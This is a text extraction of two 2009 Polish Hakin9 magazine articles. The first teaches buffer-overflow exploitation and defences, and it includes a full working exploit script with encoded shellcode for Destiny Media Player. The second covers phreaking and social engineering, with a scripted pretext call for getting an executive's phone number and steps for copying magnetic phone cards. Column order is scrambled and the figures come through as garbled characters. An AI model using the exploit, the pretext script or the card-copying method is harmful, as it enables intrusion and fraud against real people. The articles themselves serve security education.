xploit to program, fragment kodu, lub szereg poleceń, które mają pozwolić na wykorzystanie luki w oprogramowaniu celem zapewnienia osobie wykorzystującej lukę określonych korzyści, od podsłuchania pojedynczej sesji do przejęcia całkowitej kontroli nad maszyną. Shellcode to fragment kodu, który po uruchomieniu spowoduje wykonanie przez system określonych czynności – zwykle jest to uruchomienie powłoki ze wskazanymi parametrami, do czego odnosi się zresztą sam omawiany termin. Trudno jest wskazać moment, w którym zaczęły pojawiać się pierwsze exploity, bowiem chęć przechytrzenia systemu i obejścia reguł od zawsze towarzyszyła ludziom ciekawym możliwości komputerów. Steven Levy w swojej książce Hackers: Heroes of the Computer Revolution pisze między innymi o naukowcach, którzy na początku lat 70-tych wykorzystywali komputery podłączone do ARPANET-u, aby wysyłać sobie nawzajem żartobliwe lub denerwujące wiadomości (chociaż uzyskiwanie dostępu do zdalnej maszyny bez wcześniejszej zgody właściciela nie było wtedy postrzegane jako atak). W 1986 roku Cliff Stoll z Lawrence Berkeley National Laboratory w Kalifornii zdołał uzyskać dane z komputerów rozsianych po całych Stanach Zjednoczonych, wykorzystując błąd rachunkowy w systemach podłączonych do ARPANET-u – co opisał w swojej książce The Cuckoo's Egg. Pierwszym w historii robakiem,
czyli programem rozprzestrzeniającym się poprzez wykorzystywanie luk w istniejącym oprogramowaniu, był robak Morrisa (Morris worm), napisany w 1988 roku przez studenta Uniwersytetu Cornella, Roberta T. Morrisa. Program ten, tak jak współczesne robaki, łączył się z innym komputerem, po czym wykorzystywał istniejące słabości, aby załadować i uruchomić swoją kopię.
Przez teorię do praktyki
Czasami wszystko, czego potrzeba do pomyślnego przeprowadzenia ataku, to jedna źle napisana linijka kodu. Wczesne języki programowania tworzone były w czasach, kiedy złośliwość kodu ograniczała się do dowcipów nawiązujących do hakerskiego humoru, a bezpieczeństwem oprogramowania nie przejmowano się zanadto, gdyż zakładano, że nawet jeśli ktoś spowoduje jakiś błąd w programie, to nie zrobi tego w niecnym celu. Język C, stworzony w 1972 roku, pozwala na ścisłą kontrolę nad niskopoziomowymi procesami w systemie, ale też domyślnie nie ma prawie żadnych zabezpieczeń przed tworzeniem luk w oprogramowaniu. Oto przykładowy fragment programu, który będziemy analizować (Listing 1). Fragment kodu pobiera wskaźnik do tablicy znaków foo, następnie ustala jej wielkość i kopiuje ją w całości do tablicy znaków bar. Tablica znaków bar może jednak pomieścić tylko 40 znaków (łącznie z zerem kończącym
ANALIZA NAJCZĘŚCIEJ SPOTYKANYCH TECHNIK ATAKU ciąg znaków), a zatem jeśli liczba znaków kopiowana z ciągu wskazywanego przez foo będzie większa od liczby znaków, które może pomieścić tablica bar, nastąpi przepełnienie bufora i nadpisanie wcześniejszych danych na stosie. Ponieważ wśród tych danych znajduje się wskaźnik do instrukcji występującej w kodzie po wywołaniu funkcji, pozwalający wrócić do dalszego wykonywania programu, to nadpisanie go spowoduje wczytanie i wykonanie przez komputer instrukcji pod dowolnym adresem. Zatem ciąg AAAAA nie spowoduje żadnych zmian w oryginalnym działaniu programu, ale ciąg AAA ... (48 liter A - ciąg znaków bar, adres (32-bitowy) ciągu foo, wskaźnik bazowy) ... \x90\x0F\x50\ x30 najprawdopodobniej spowoduje nadpisanie adresu zwrotnego adresem 0x900F5030). Właśnie ten typ słabości wykorzystywał do rozprzestrzeniania się wspomniany wcześniej robak Morrisa.
z najnowszych ataków przepełnienia bufora został opublikowany 4 stycznia 2009 roku i dotyczy on konsoli Play Station Portable.
Czas jest względny
•
Mimo ewolucji zarówno języków, jak i technik programowania, języki takie jak C (nieograniczające domyślnie możliwości wystąpienia przepełnienia bufora, a także umożliwiające niedbałe programowanie w celu zaoszczędzenia czasu) nie tracą na popularności. Owocuje to wciąż odkr ywanymi lukami, z któr ych znaczną większość stanowią rozmaite przepełnienia bufora (obecnie jednak ustępujące innym lukom). Zapobieganie przepełnieniom nie jest jednak wystarczające, gdyż istnieją ataki korzystające z faktu, że kontrola rozmiaru wprowadzanych danych nie ma znaczenia, jeśli nie są one filtrowane – XSS (ang. Cross-Site Scripting) czy SQL Injection. Dowodem na zastój w dziedzinie odpowiedzialnego programowania niech będzie fakt, że co miesiąc ukazują się nowe luki w istniejącym oprogramowaniu, a jeden
Exploity a shellcode
Warto tutaj zaznaczyć pewną zależność – choć exploity nie wymagają shellcodu do działania, to shellcode musi być dostarczony za pomocą jakiegoś exploita (nie musi to być nawet program – shellcode można przecież wprowadzić samemu razem z danymi przepełniającymi bufor, jest to jednak dość żmudne i bezcelowe, zwłaszcza w przypadku dużych buforów). W typowym exploicie przepełniającym bufor znajdują się następujące elementy: • • •
dane przepełniające bufor. shellcode. pułapka NOP (ang. NOP slide), skok do rejestru lub powrót do biblioteki (zależnie od techniki). nowy adres zwrotny (zależnie od techniki).
Najlepiej będzie to zaprezentować na przykładzie exploita wykorzystującego przepełnienie bufora w aplikacji Destiny Media Player (wersja 1.6), dostępnego na stronie http://downloads.securityfocus.co m/vulnerabilities/exploits/33100_Stack.py (Listing 2).
Widzimy tutaj, że exploit ten po uruchomieniu generuje plik o nazwie Stack i rozszerzeniu .lst . Zatem, jeśli Destiny Media Player będzie naszym domyślnym odtwarzaczem list odtwarzania i otworzymy wygenerowany plik, nastąpi przepełnienie bufora owocujące przepełnieniem stosu, co z kolei spowoduje wykonanie shellcodu. Wiąże się to z brakiem sprawdzania przez program rozmiaru akceptowanych danych, luką występującą nader często. Co prawda jest to tylko tzw. proof-of-concept , ale ilość dostępnego miejsca – ponad 160 bajtów – spokojnie wystarcza na umieszczenie kodu dodającego na przykład użytkownika z uprawnieniami administratora.
Techniki nadpisywania bufora •
•
Przepełnienie stosu: jedna z najczęściej wykorzystywanych technik; atakujący korzysta z braku sprawdzania ograniczeń (ang. bounds checking) rozmiaru danego bufora, nadpisując tym samym adres powrotny funkcji. Przepełnienie sterty (ang. heap): rzadziej wykorzystywana technika – ponieważ sterta rośnie do góry, nadpisujemy wskaźnik umieszczony gdzieś nad naszym buforem, do
Listing 1. Źle napisany kod #include string.h void function (char *foo) { char bar[40]; memcpy(bar, foo, strlen(foo)); }
Rysunek 1. Przeglądarkowa wersja Metasploita 4/2009 HAKIN9
29
ATAK •
którego wiemy, że funkcja się odwołuje (np. adres innej funkcji, wywoływany z wnętrza funkcji, którą wykorzystujemy). Pułapka NOP (ang. NOP slide): technika, w której przed naszym shellcodem umieszczamy określoną ilość instrukcji NOP, czyli no-op (brak
operacji, w linii x86 Intela instrukcja reprezentowana przez bajt 0x90). Jest to sposób zabezpieczenia się przed niepożądanymi przez atakującego aspektami przepełniania bufora. Mianowicie, nie zawsze jesteśmy w stanie dokładnie określić miejsce
�����
��
�����������������
��
�����������������
��
��������������
�� ��
��������������������������
��
��������������������������
��
��������������������������
•
Rysunek 2. Poprawnie zainicjalizowany stos
��
����
��
���
��
������������������������
�� ��
���������
��
���������
��
���������
Rysunek 3. Stos po jednym z typów przepełnienia wykorzystującym pułapkę NOP
��
���������
��
���
��
������������������������
•
�� �� �� ��
����������
Rysunek 4. Przepełnienie mające na celu wymuszenie skoku do SP 30
HAKIN9 4/2009
•
w pamięci, w którym znajdować się będzie nasza zmienna, a więc bezpośrednie wskazywanie na sam początek shellcodu byłoby trudne. Bajty NOP zapewniają margines błędu, który możemy wykorzystać podczas modyfikowania adresu powrotnego. Procesor po napotkaniu bajtu NOP przechodzi po prostu do następnej instrukcji, nie wprowadzając żadnych zmian w stanie programu. Po przejściu przez n bajtów NOP dochodzi on jednak wreszcie do polecenia skoku do naszego shellcodu (który jest przesunięty o określoną ilość instrukcji NOP od początku bufora plus długość samego shellcodu), po czym wykonuje go w całości, owocując udanym atakiem. Skok do rejestru (ang. jump to register): technika bardzo przydatna, jeśli nie jesteśmy w stanie dokładnie stwierdzić, do jakiego adresu w pamięci powinniśmy się odwoływać. Zamiast nadpisywać adres powrotny adresem znajdującym się gdzieś w pamięci czy adresem pułapki NOP przed shellcodem (lub skokiem do shellcodu), nadpisujemy go adresem w pamięci, pod którym znajduje się kod operacji (ang. opcode) skoku do ESP (dla zestawu instrukcji i386 jest to FF E4). Elegancja tej techniki polega na tym, że przy powrocie z funkcji ESP, wskazujący wcześniej na adres powrotny, zostaje zwiększony o 2, co w efekcie powoduje wskazywanie na adres „tuż za” adresem powrotnym. Z kolei dzięki temu przy przepełnieniu bufora i zmianie adresu powrotnego możemy tuż za nim umieścić nasz shellcode. Trampolina DLL (ang. DLL trampolining), technika prawie identyczna jak skok do rejestru, z tym że wywołujemy tym razem funkcję jednej z bibliotek systemowych, pozwalającą nam na kontynuowanie wykonywania od określonego miejsca. Przykładem może być zacytowany exploit, w którym adres powrotny jest nadpisywany adresem funkcji skoku do ESP, za którym znajduje się 90bajtowa pułapka NOP i shellcode. Wywołanie libc: jedno z najbardziej pomysłowych obejść
ANALIZA NAJCZĘŚCIEJ SPOTYKANYCH TECHNIK ATAKU niewykonywalnego stosu. Naszym shellcodem nie jest zestaw instrukcji w języku maszynowym, ale argumentów dla wywoływanej funkcji biblioteki libc, która w systemach UNIX-owych dostarcza między innymi takich funkcji jak system(), pozwalającej uruchomić arbitralnie wybrany program.
Pisanie shellcodu
Shellcode jest prawie zawsze napisany w języku maszynowym, a zatem bezpośrednie pisanie w nim programów jest żmudne i niewygodne. Pisanie go w formie programów języka wysokiego poziomu też jest jednak niemożliwe, gdyż generowane przez większość kompilatorów programy są zbyt duże (należy tu pamiętać, że jesteśmy najczęściej ograniczeni do rozmiaru paruset bajtów). Z tego też powodu istnieją dwie efektywne metody pisania shellcodu: •
•
Pisanie odpowiedniego ciągu instrukcji w asemblerze, następnie asemblowanie go do kodu maszynowego i wykorzystywanie tegoż jako naszego shellcodu. Przydatna jest umiejętność pisania bardzo zwięzłego kodu, do czego potrzebna jest bardzo dobra znajomość asemblera. Rozwiązaniem dla leniwych, niepozwalającym zagłębić się w arkana niskopoziomowego programowania, ale na pewno szybszym. jest korzystanie z frameworku, takiego jak Metasploit (Rysunek 1), lub ze stron takich jak milw0rm, zamieszczających gotowe shellcody.
się on gdzieś w środku ładunku naszego exploita, to ciąg znaków pobierany będzie tylko do momentu jego wystąpienia, a zatem exploit nie zadziała. Często, niestety, wiąże się to z koniecznością znajomości kodu maszynowego, a konkretnie
•
– umiejętnością stwierdzenia, jakie instrukcje asemblera tworzyć będą kod zawierający bajty zero. Nasilająca się konieczność unikania zbyt długich ciągów instrukcji NOP: coraz więcej systemów detekcji intruzów analizuje pobierane przez
Listing 2. Typowy exploit wykorzystujący przepełnienie bufora (z użyciem techniki skoku do SP) #usage: exploit.py print "**************************************************************************" print " Destiny Media Player 1.61 (.lst File) Local Stack Overflow Exploit\n" print " Founder: Encrypt3d.M!nd" print " exploit & code: Stack" print " Tested on: Windows XP Pro SP2 Fr\n" print " Greetings to:" print " All friends \n" print "**************************************************************************"
buff = "\x41" * 2052 EIP = "\x5D\x38\x82\x7C" #call ESP from kernel32.dll nop = "\x90" * 10 # win32_exec - EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub http:// metasploit.com shellcode = ( "\x29\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xc9" "\x2c\xc9\x40\x83\xeb\xfc\xe2\xf4\x35\xc4\x8d\x40\xc9\x2c\x42\x05" "\xf5\xa7\xb5\x45\xb1\x2d\x26\xcb\x86\x34\x42\x1f\xe9\x2d\x22\x09" "\x42\x18\x42\x41\x27\x1d\x09\xd9\x65\xa8\x09\x34\xce\xed\x03\x4d" "\xc8\xee\x22\xb4\xf2\x78\xed\x44\xbc\xc9\x42\x1f\xed\x2d\x22\x26" "\x42\x20\x82\xcb\x96\x30\xc8\xab\x42\x30\x42\x41\x22\xa5\x95\x64" "\xcd\xef\xf8\x80\xad\xa7\x89\x70\x4c\xec\xb1\x4c\x42\x6c\xc5\xcb" "\xb9\x30\x64\xcb\xa1\x24\x22\x49\x42\xac\x79\x40\xc9\x2c\x42\x28" "\xf5\x73\xf8\xb6\xa9\x7a\x40\xb8\x4a\xec\xb2\x10\xa1\xdc\x43\x44" "\x96\x44\x51\xbe\x43\x22\x9e\xbf\x2e\x4f\xa8\x2c\xaa\x02\xac\x38" "\xac\x2c\xc9\x40" ) exploit = buff + EIP + nop + shellcode try: out_file = open("Stack.lst",'w') out_file.write(exploit) out_file.close() raw_input("\nExploit file created!\n") except: print "Error"
Do głównych problemów związanych z pisaniem shellcodu zaliczyć można: •
Konieczność unikania znaków niealfanumerycznych i bajtów 0: większość programów, pobierając dane wprowadzane przez użytkownika, pomijać będzie znaki, które nie są drukowalne, czyli wykraczają poza tablicę znaków danego programu. Bajty 0 (czyli 0x00) muszą być unikane ze względu na to, że przy interpretacji bloku danych jako ciągu znaków bajt zero oznacza koniec ciągu. Zatem, jeśli znajduje
Przypomnienie konstrukcji stosu i wywoływania funkcji (architektury Intel) W większości architektur stos rośnie „w dół” – w kierunku niższych adresów. Podczas wywoływania funkcji na stosie zostają umieszczone jej argumenty, następnie adres powrotny, a potem wartość wskaźnika bazowego (BP) wskazująca na początek poprzedniej ramki. Po odłożeniu tych wartości na stos wskaźnik bazowy jest zmieniany na wskaźnik stosu (SP), aby wskazywać na początek nowej ramki i umożliwić odwoływanie się do argumentów i zmiennych lokalnych funkcji. Następnie wskaźnik stosu zmniejszany jest o rozmiar zmiennych lokalnych, aby możliwe było ich wprowadzenie. Podczas powrotu z funkcji proces jest odwracany: SP zastępowany jest wartością BP, po czym zachowana poprzednia wartość BP jest przenoszona na miejsce obecnego BP. Ostatecznie odczytywany jest adres powrotny, wartość SP zwiększana jest o 2, a wykonywanie programu powraca do adresu instrukcji określonym w adresie powrotnym.
4/2009 HAKIN9
31
ATAK program dane, wyszukując w nich długich ciągów oznaczających w kodzie maszynowym brak operacji i nie pozwala na wprowadzanie podejrzanych danych do pamięci. Problem ten można na szczęście obejść za pomocą każdej instrukcji, która nie zmienia stanu programu do tego stopnia, że wykonanie naszego shellcodu stałoby się niemożliwe. Stworzenie zlepka niepozornie wyglądających instrukcji, które w gruncie rzeczy nic nie robią, pozwala w większości przypadków na ominięcie tej techniki detekcji intruzów. Ograniczenia sprzętowe i systemowe: kod maszynowy należący do jednego zestawu instrukcji (na przykład SPARC) będzie działał poprawnie tylko na procesorach obsługujących dany zestaw instrukcji i żaden inny. Systemy operacyjne, nawet z tej samej rodziny, ale różniące się wersją łatek, mogą oznaczać potrzebę kompletnej przebudowy exploita, gdyż zmienić się mógł adres konkretnej funkcji bibliotecznej.
•
zestawie heksadecymalnych instrukcji. Po ustaleniu odpowiedniego typu i rozmiaru danych wejściowych oraz stworzeniu odpowiedniego shellcodu napisanie exploita będącego krótkim skryptem dostarczającym owe dane nie jest niczym trudnym. Problemy, przed którymi stają twórcy exploitów, są jednak związane przede wszystkim z czasem ich publikacji, gdyż zwykle dość krótko po opublikowaniu metod na wykorzystanie luki pojawiają się łatki. Z tego też powodu exploity „Dnia Zerowego” (ang. Zero Day) są uznawane za bardzo cenne i stanowią własność bardzo wąskich grup, zanim zostają upublicznione.
Sposoby obrony
Po krótkim omówieniu pojęć exploitów i shellcodu czas na wymienienie kilku sposobów radzenia sobie z atakami: •
Tworzenie exploitów
Najtrudniejszą częścią całego procesu wykorzystywania luki jest jej znalezienie i opracowanie metody wykorzystania. Mozolna praca z wykorzystaniem debuggerów może zostać skrócona przez wyszukiwanie tylko tych fragmentów programu, które radzić sobie mają z alokacją wprowadzanych danych w pamięci. Innymi słowy, nasza uwaga powinna zawsze koncentrować się na sposobie, w jaki aplikacja przetwarza dane użytkownika. Mieczem obosiecznym otwartego oprogramowania jest fakt, że znacznie łatwiej jest odkryć lukę w kodzie, który napisany jest w języku zbliżonym do bardzo uproszczonego angielskiego, niż w kompletnie niezrozumiałym
•
Umieszczanie wartości kontrolnej w postaci zmiennej. Wartość ta może być dowolną wartością, która nie będzie zmieniać się w czasie wykonywania programu. Jeśli przed powrotem z funkcji zauważymy, że uległa zmianie, oznacza to, że najprawdopodobniej nastąpiło przepełnienie bufora. Technika ta wymaga, aby wartość kontrolna znajdowała się w pamięci ponad buforem wrażliwym na ataki, a ponadto powiększa niepotrzebnie rozmiar programu. Obszar niewykonywalny. Rozwiązanie dużo sprytniejsze, polega na sprzętowym lub programowym uniemożliwieniu wykonywania kodu znajdującego się na stercie lub stosie. Wspierany przez niektóre procesory z obsługą bitu NX (ang. No eXecute) lub bitu XD (ang. eXecute Disabled) oraz implementowany przez oprogramowanie, takie jak UNIX-owy PaX czy Windowsowy StackDefender.
W Sieci • • • • •
32
http://en.wikipedia.org/wiki/Buffer_overflow – przepełnienie bufora, artykuł w Wikipedii, http://www.milw0rm.com – gotowe exploity i shellcody, a także opisy poszczególnych luk, http://www.metasploit.com – przydatny framework, służący do pisania exploitów, http://developer.intel.com/design/processor/manuals/253666.pdf – podręcznik (804 strony) architektur Intel 64 i IA-32, http://securityreason.com/polish/baza_naduzyc - podobna do milw0rm polska baza exploitów i luk.
HAKIN9 4/2009
•
Warto zaznaczyć, że używanie techniki powrotu do libc umożliwia obejście tego rozwiązania. Losowe rozmieszczenie przestrzeni adresowej (ang. Address Space Layout Randomization, ASLR). Technika polega na losowej aranżacji początku obszaru danych, tekstu, sterty i stosu, uniemożliwiając przewidzenie poprawnej zmiany adresu zwrotnego. Ataki przepełnienia bufora nie są niemożliwe, ale bardzo utrudnione.
Przede wszystkim każdy programista powinien jednak pamiętać o tym, by nigdy nie ufać danym wprowadzanym przez użytkownika.
Podsumowanie
Robak Morrisa przez krótki czas wstrzymał działanie ówczesnego Internetu. Blaster przez parę tygodni dręczył użytkowników Windows komunikatami o potrzebie zrestartowania systemu. W artykule zapoznaliśmy się z krótkim przedstawieniem metody przejmowania kontroli nad aplikacją za pomocą przepełnienia bufora, wykazaliśmy też, że nieostrożne programowanie może prowadzić do katastrofy. Od kilkunastu lat źle napisane oprogramowanie wciąż pada ofiarą tej samej techniki, mimo że przedstawione w tym artykule sposoby obrony są (teoretycznie) dobrze znane. Wartość rynku szkodliwego oprogramowania w roku 2008 oceniana jest przez Kaspersky Lab na 100 miliardów dolarów. Mogłoby się wydawać, że sytuacja jest beznadziejna, jednak to w rękach twórców oprogramowania leży kwestia tworzenia bezpiecznego kodu. Wykorzystywanie języków programowania wyższego poziomu niedopuszczających do tworzenia programów podatnych na przepełnienie bufora, a także zwykły rozsądek zamiast stawiania na szybkość, pozwalają tworzyć oprogramowanie, które zawierać będzie dużo mniej luk – czym oszczędzimy bólu głowy sobie i użytkownikom. Piotr Jastak
Autor jest entuzjastą tematyki komputerów, interesuje się bezpieczeństwem, administrowaniem systemami i sieciami. Kontakt z autorem: [email protected]
ATAK Phreaking – łamanie zabezbieczeń
RAFAŁ PODSIADŁY
Stopień trudności
Zapraszam na podróż w której poznamy pierwsze metody phreaking’u dowiemy się jak prekursorzy wykorzystywali swoją wiedzę i której uchylimy rąbka tajemnicy.
D
Z ARTYKUŁU DOWIESZ SIĘ poznasz nietypowe sposoby łamania zabezpieczeń, dowiesz się jak funkcjonują karty kredytowe.
CO POWINIENEŚ WIEDZIEĆ znać ogólne zasady psychologi, podstawy elektroniki, podstawy informatyki. 34
HAKIN9 4/2009
zisiejszy artykuł będzie poświęcony bardzo rozległej tematyce bezpieczeństwa informacji. W pierwszej kolejności nawiążę do wydania grudniowego, w którym bardzo dokładnie opisywałem techniki socjotechniczne, a później – przytaczając kilka przykładów – opiszę ataki typu phreaking lub pharming. Następnie opiszę, na czym polegają te techniki, jak były wykorzystywane i w jaki sposób nowoczesne rozwiązania (w szczególności karty inteligentne) umożliwiają wykonywanie tych ataków dziś. Mam nadzieję, że treść wyda się Wam ciekawa, zapraszam więc do miłej lektury. Czytelnicy, którzy zapoznali się z grudniowym wydaniem hakin9, z pewnością widzieli także artykuł dotyczący ataków socjotechnicznych. Dla osób, które go jednak nie czytały, spróbuję zrobić małe streszczenie – aby ta technika nie była nikomu obca. Socjotechnika to nic innego, jak wykorzystywanie swoich cech charakteru w bardzo niecnych celach – odpowiedniego zmanipulowania osoby, z którą się rozmawia. Swoje źródła socjotechnika ma w manipulacji. Wyszkolony socjotechnik posługuje się tą techniką bardzo sprawnie – w jej zakres wchodzą: reguła wzajemności, zasada kontrastu, zadawanie zamkniętych pytań, zasada konformizmu, autorytetów, sympatii, zasady placebo. Są ta bardzo ciekawe techniki, które wykorzystywane są także w reklamach czy promocjach. W jednym celu: by nakłonić nas do zakupu naszego ulubionego produktu, którego tak naprawdę nie potrzebujemy, wspomagając sprzedaż. Artykuł o
tej tematyce znajduje się w hakin9 12/2009 (Ataki Socjotechniczne). Osobiście zachęcam jeszcze raz do zagłębienia się w ten temat, ponieważ tylko i wyłącznie przez poznawanie technik, jakimi można nas zaatakować, jesteśmy w stanie się skutecznie bronić. Nawet urządzenie szkolenia czy przeprowadzenie zwykłej rozmowy z pracownikiem pierwszego kontaktu jest bardzo ważne. Pierwszym i ważnym krokiem takiego ataku jest zapoznanie się z obiektem, który atakujemy, rozpisanie jego cech, właściwości, struktur. A także zebranie wszystkich – istotnych i nieistotnych informacji. To wszystko ma na celu znalezienie miejsc, w których struktury są słabe i narażone na łatwą zmianę – podatne na wstrzyknięcie nieprawdziwych informacji. Nawet społeczeństwo może być traktowane jako obiekt. A jego gruntowna analiza, przeprowadzona przez instytucje badania opinii publicznej, może nam bardzo dużo powiedzieć o jego słabych i mocnych stronach. Przez zbieranie odpowiedzi na proste, z pozoru nic nieznaczące pytania, możemy zbudować mapę rozwiązań, charakterystykę społeczeństwa w odniesieniu do zadanego pytania. Na co to komu? Taka mapa społecznych odpowiedzi daje nam bardzo dużo wiedzy o ludziach i ich życiu, problemach i troskach. Możemy w ten sposób dobrać odpowiedni tryb reklamy i rozwiązać te problemy w prosty i przyjemny sposób – dać to, czego wymaga społeczeństwo. Dlatego reklamy proszków do prania mają swój określony czas emisji. Wykorzystywanie atutów prezenterów, by zwiększyć oglądalność – to czysty marketing, w
SOCJOTECHNIKA, PHREAKING, PHARMING duże, ale też ograniczone, dlatego ważne jest, by wnioski napływały w odpowiednim czasie i były dobrze przygotowane. Aby w pełni wykorzystać przyznane Waszej firmie fundusze, chcielibyśmy poznać Was lepiej. Czy moglibyśmy się umówić na spotkanie z prezesem firmy, aby określić jego oczekiwania dotyczące tej pomocy? Moglibyśmy wtedy przedstawić odpowiednie materiały i zakres pomocy, jakiej możemy udzielić. Dlatego proszę o szybki kontakt w miarę możliwości.... To jeden z przykładów oszustwa, za które można odpowiadać z Kodeksu Cywilnego. Osobiście nie zalecam stosowania podobnych technik, a jedynie zaznajomienie się z nimi, gdyż, będąc po drugiej stronie barykady, obronimy się przed tego typu kłamstwem. Systemy informatyczne także dają się oszukiwać – np. przez wprowadzanie nieprawdziwych danych do strumienia informacji. Wtedy mamy szansę osiągnąć swój cel. Oczywiście to również jest karane – pamiętajmy, że zgodnie z polskim prawem ścigane są już przygotowania zmierzające do popełnienia przestępstwa. Tutaj nasuwa się dylemat, czy zdobywanie wiedzy w dziedzinie socjotechniki już jest przestępstwem, czy dopiero jej wykorzystanie. ������� Nie znam się������� na prawie aż tak dobrze, by moja wypowiedź w tej kwestii mogła być
tutaj pomocna. Dlatego też odpowiedź na to pytanie pozostawię bez rozwiązania. Powiedzmy słów kilka o oszustwach telefonicznych. W latach 70, gdy centrale telefoniczne pracowały na zasadach impulsowych, a głos ludzki i sygnały kontrolne były przesyłane jedną linią, można było dokonać włamania i wymusić na centrali nawiązanie połączenia między dwoma telefonami bez uiszczania najmniejszej opłaty. Nie jest to socjotechnika, ale wykorzystuje w pewnym sensie podobny mechanizm – podszywania się. Taki rodzaj włamań określono jako phreaking. To kradzież sygnału telefonicznego, sygnału i czasu centrali. Phreaking został zapoczątkowany w USA w związku z dużą powszechnością automatycznych central telefonicznych. Sygnały kontrolne składały się z 1 lub (przeważnie) z 2 częstotliwości. Te pierwsze można było przy odpowiedniej praktyce nawet wygwizdać. Te drugie były generowane za pomocą bardzo prostych urządzeń elektronicznych, takich jak tonedialery. Szybko zauważono wady central telefonicznych, a następnie je wyeliminowano. Kolejnym krokiem włamywaczy było kopiowanie kart magnetycznych, a marzeniem phreakera była karta o nieograniczonej pojemności rozmowy. W taki sposób spreparowana karta nazwana
�����������������������������
���
������� � �
� ������� ����� ���������������������������������
którym nie jest ważny człowiek, a jedynie pieniądze na nim zarobione. Wystarczy spojrzeć na reklamę – każda ma początek i zakończenie, opowiada jakąś historię. Bardzo dużo można się nauczyć z telewizji. Są tam wzorce, które pobudzają emocje, oddziałują na naszą wiedzę, intelekt i instynkty. Naprawdę dużo można się nauczyć. Na późniejszym etapie swojej nauki należy skupić się na sobie, przez stosowanie odpowiedniej barwy głosu, przez wdzięk możemy osiągnąć bardzo wiele. Miły kobiecy głos zawsze zostanie zapamiętany, tak samo, jak mężczyzna, którego głos jest wyraźny i brzmiący. Kiedy już znamy daną firmę i jej układ personalny, działy i inne elementy związane z tym obiektem, możemy wykorzystać naszą wiedzę w jakimś niecnym celu. Na przykład – jak zdobyć numer telefonu do naszego prezesa. Trzeba pamiętać zasadę numer 1 – nigdy, przenigdy nie podaje się numeru telefonu prezesa osobom trzecim. Ale my tego chcemy, a to, czego chcemy, jest najważniejsze. Wykonujemy zatem prosty telefon do firmy, możemy np. powiedzieć, że jesteśmy z banku, ale to już bardzo zgrany numer, więc odradzam. Jeśli trafimy na niekompetentną osobę, zostaniemy rozłączeni. Jednak spróbujmy zagrać tak: Dzień dobry, jesteśmy firmą, która udziela pomocy przy wdrażaniu nowoczesnych systemów informatycznych. Jeśli Pan/Pani miał już do czynienia z innymi firmami, informujemy, że nasza praca jest za darmo. Pozyskujemy fundusze z Unii Europejskiej i chcielibyśmy wspomóc Waszą firmę zarówno darmowym sprzętem, jak i oprogramowaniem. Do tego jednak potrzebujemy informacji, czy jesteście czymś takim zainteresowani. Naszą ofertą pomocy. W związku z tym pozostawię swoje dane osobowe i numer telefonu – i jeśli byłby Pan tak miły i przekazał te dane do osoby decydującej, będę wdzięczny. Chcielibyśmy już dziś nawiązać współpracę, gdyż termin składania wniosków upływa pod koniec tygodnia, a to od daty podpisania wniosku zależy, jakiej pomocy możemy Wam udzielić. Jeśli ktoś po drugiej stronie będzie zainteresowany rozmową, należałoby dodać: Jest to program tylko jednorazowej pomocy, może w nim wystartować każda firma, ale tylko raz. Dlatego ciągle poszukujemy nowych klientów, którym moglibyśmy pomóc. W tym programie fundusze są bardzo
���
���
���
��
���
���
���
������
����� ���
������
����� ���
��� ���
����� �������� ��� ������������������������������������������������
Rysunek 1. Schemat PC/SC 4/2009 HAKIN9
35
ATAK została świętym Graalem, ale większość systemów nie dopuszcza takich kart – można za to często nagrywać karty o pojemności większej niż największa dostępna w sprzedaży. Budowa takiej karty wygląda następująco: część magnetyczna karty jest podzielona na 4 obszary. Jest na niej zapisana maksymalna liczba impulsów. Poszczególne obszary mogą być namagnesowane dwoma biegunami (+ i -), można to sprawdzić przy pomocy magnesu, który przesuwamy nad paskiem magnetycznym dość szybko (można wyczuć, że magnes raz jest lekko przyciągany, a raz lekko odpychany). Gdyby ktoś użył taśmy VHS, mógłby wykonać kopię karty. Następnie musiałby odtworzyć magnesem poprzednie pola. Przed całym eksperymentem dobrze jest zostawić kilka impulsów, ponieważ prawdopodobnie karta po wyczerpaniu zostanie poddana silnemu polu magnetycznemu w budce telefonicznej, które ją skasuje. Następną generacją kart są karty tzw. inteligentne. To karty mikroprocesorowe lub chipowe, posiadające wbudowany układ – chip (zamiast lub wraz z powszechnie stosowanym paskiem magnetycznym). Karta chipowa uznawana jest za praktycznie niemożliwą do sfałszowania ze względu na możliwość kontrolowania przez mikroprocesor dostępu do informacji w nim zapisanych oraz specjalny język komunikacji. W układzie mikroprocesora zaszyte są funkcje zabezpieczające przed kopiowaniem zawartości karty. W pamięci układu może znajdować się kilkadziesiąt razy więcej informacji niż na standardowym pasku magnetycznym – pozwala nam to na wykorzystanie go do innych, dodatkowych celów. Pasek magnetyczny jest ograniczony jedynie do 130 znaków. Karty chipowe mogą służyć (poza standardowymi funkcjami płatniczymi) jako karty rabatowe, telefoniczne, opłat (np. parkingowych), identyfikacyjne itp. Rozwój handlu elektronicznego, powodujący także wzrost znaczenia e-bankingu, stwarza dodatkowe możliwości zastosowania kart mikroprocesorowych jako bezpiecznych układów. Mechanizm autoryzacji transakcji bazuje w tym przypadku nie tylko na podpisie klienta na dokumencie potwierdzającym jej wykonanie, ale też na numerze PIN – Personal Identification Number. Ponadto autoryzacja może być dokonywana w 36
HAKIN9 4/2009
trybie offline, co zapobiega ewentualnemu przechwyceniu danych podczas ich transmisji łączami telekomunikacyjnymi. Następnym plusem karty mikroprocesorowej jest odporność na pole elektromagnetyczne, a jej trwałość (okres zużycia) jest 3 razy dłuższa niż karty magnetycznej. Do bardzo istotnych zalet karty mikroprocesorowej należy zaliczyć również niski koszt jej eksploatacji w porównaniu do utrzymania oddziałów banków. Koszt wydania karty (produkcja, personalizacja) jest jednak stosunkowo wysoki. Jest to związane przede wszystkim z wykorzystaną technologią, która zaszyta jest w mikroprocesorze na karcie. Jednakże z tematem tym wiąże się również programowanie chipów. Banki w Polsce instalują na kartach stosunkowo prostą aplikację, służącą głównie do wypłaty gotówki oraz dokonywania standardowych transakcji płatniczych. Powodem tego jest kolejna wada rynku kart mikroprocesorowych – słaba infrastruktura sieci akceptacji kart. Nadal funkcjonuje stosunkowo niewielka liczba punktów autoryzacyjnych, które mogą obsługiwać karty chipowe. Jedynym obszarem, w którym ta technologia bardzo dobrze się rozwija, jest telefonia komórkowa. Pod względem budowy mechanicznej wszystkie układy chipowe są takie same. Rozróżnić wypada jednak karty pełnowymiarowe (wielkości karty kredytowej) i miniaturowe, znane chyba najlepiej jako moduły 